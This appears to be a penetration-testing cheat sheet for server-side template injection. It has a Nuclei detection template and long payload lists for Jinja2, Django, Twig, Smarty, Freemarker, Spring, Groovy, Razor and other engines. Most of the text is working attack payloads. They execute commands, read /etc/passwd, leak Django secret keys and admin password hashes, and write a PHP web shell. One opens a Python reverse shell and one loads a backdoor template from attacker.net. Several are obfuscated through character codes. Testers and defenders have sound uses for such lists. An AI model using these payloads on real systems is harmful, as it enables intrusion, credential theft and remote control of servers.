Detection
Error Message ? => SSTI confirmed
Fingerprint your template AND create a POC:
Nuclei Template
https://github.com/coffinxp/priv8-Nuclei/blob/main/reflection-ssti.yaml
Copy id : reflection-ssti
info :
name : Reflected SSTI Arithmetic Based
author : pdteam
severity : medium
reference :
- https://github.com/zaproxy/zap-extensions/blob/2d9898900abe85a47b9fe0ceb85ec39070816b98/addOns/ascanrulesAlpha/src/main/java/org/zaproxy/zap/extension/ascanrulesAlpha/SstiScanRule.java
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI#list-of-seversneeds-update
tags : ssti,dast
variables :
first : "{{rand_int(1000, 9999)}}"
second : "{{rand_int(1000, 9999)}}"
result : "{{to_number(first)*to_number(second)}}"
http :
- pre-condition :
- type : dsl
dsl :
- 'method == "GET"'
skip-variables-check : true
payloads :
ssti :
- '{{concat("${", "{{first}}*{{second}}", "}")}}'
- '{{concat("{{", "{{first}}*{{second}}", "}}")}}'
- '{{concat("<%=", "{{first}}*{{second}}", "%>")}}'
- '{{concat("{", "{{first}}*{{second}}", "}")}}'
- '{{concat("{{{", "{{first}}*{{second}}", "}}}")}}'
- '{{concat("${{", "{{first}}*{{second}}", "}}")}}'
- '{{concat("#{", "{{first}}*{{second}}", "}")}}'
- '{{concat("[[", "{{first}}*{{second}}", "]]")}}'
- '{{concat("{{=", "{{first}}*{{second}}", "}}")}}'
- '{{concat("[[${", "{{first}}*{{second}}", "}]]")}}'
- '{{concat("${xyz|", "{{first}}*{{second}}", "}")}}'
- '{{concat("#set($x=", "{{first}}*{{second}}", ")${x}")}}'
- '{{concat("@(", "{{first}}*{{second}}", ")")}}'
- '{{concat("{@", "{{first}}*{{second}}", "}")}}'
fuzzing :
- part : query
type : postfix
fuzz :
- "{{ssti}}"
stop-at-first-match : true
matchers :
- type : word
part : body
words :
- "{{result}}"
# digest: 4a0a00473045022060b24ab805932a9aae5635d76725d92d78d3366f76b103480386f7db2231b750022100cf4e3feff8153a59a9b668bbe6c989c4940074ec6857c5f4f4f920660719143d:922c64590222798bb761d5b6d8e72950
Payloads
Copy ${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ []._class.base.subclasses_O }}
{{['cat%20/etc/passwd']|filter('system')}}
Copy {{2*2}}[[3*3]]
{{3*3}}
{{3*'3'}}
<%= 3 * 3 %>
${6*6}
${{3*3}}
@(6+5)
#{3*3}
#{ 3 * 3 }
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{config.items()}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{''.__class__.__base__.__subclasses__()}} # Search for Popen process, use payload below change 227 to index of Popen
{{''.__class__.__base__.__subclasses__()[227]('cat /etc/passwd', shell=True, stdout=-1).communicate()}}
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
{{'a'.toUpperCase()}}
{{ request }}
{{self}}
<%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{''.__class__.mro()[1].__subclasses__()[396]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{$smarty.version}
{php}echo `id`;{/php}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"/etc/passwd\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
Django Templates engine
Cross-site scripting
Copy {{ '<script>alert(3)</script>' }}
{{ '<script>alert(3)</script>' | safe }}
Debug information leak
Leaking app’s Secret Key (assumes CookieStorage being first message storage)
Copy {{ messages.storages.0.signer.key }}
Admin Site URL leak
Copy {% include 'admin/base.html' %}
Admin username & password hash leak (assumes admin_log
records exist)
Copy {% load log %}{% get_admin_log 10 as log %}{% for e in log %} {{e.user.get_username}} : {{e.user.password}}{% endfor %}
Only username
Copy {%25+load+log+%25}{%25+get_admin_log+10+as+log+%25}{%25+for+e+in+log+%25}{{+e.user.username+}}{%25+endfor+%25}
Only password
Copy {%25+load+log+%25}{%25+get_admin_log+10+as+log+%25}{%25+for+e+in+log+%25}{{+e.user.password+}}{%25+endfor+%25}
Jinja2
Copy {% if 'chiv' == 'chiv' %} a {% endif %}
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}
{{self.__init__.__globals__.__str__()[1786:1788]}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[1786:1788]).read()}}
Copy {{ self._TemplateReference__context.cycler.__init__.__globals__.os }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os }}
Mako
Copy ${str().join(chr(i)for(i)in[105,100])}
${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[105,100])).read()}
<%import os%>${os.popen(str().join(chr(i)for(i)in[105,100])).read()}
PHP
Copy {php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo id;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Twig
Copy {%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}
{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}
Smarty
Copy {chr(105)|cat:chr(100)}
{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}
Laravel - Blade
Copy {{implode(null,array_map(chr(99).chr(104).chr(114),[105,100]))}}
{{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}}
Java
Groovy
Copy ${((char)105).toString()+((char)100).toString()}
${x=new String();for(i in[105,100]){x+=((char)i)}}
${x=new String();for(i in[105,100]){x+=((char)i).toString()};x.execute().text}
${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}
Freemarker
Copy ${1?lower_abc}
${27?lower_abc}
${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}
ASP.NET - Razor
Copy @{string x=null;int[]l={119,104,111,97,109,105};foreach(int c in l){x+=((char)c).ToString();};}@x
@System.Diagnostics.Process.Start(_PROGRAM_,_COMMAND_);
Tools
SSTImap
SSTI-Detector
Resources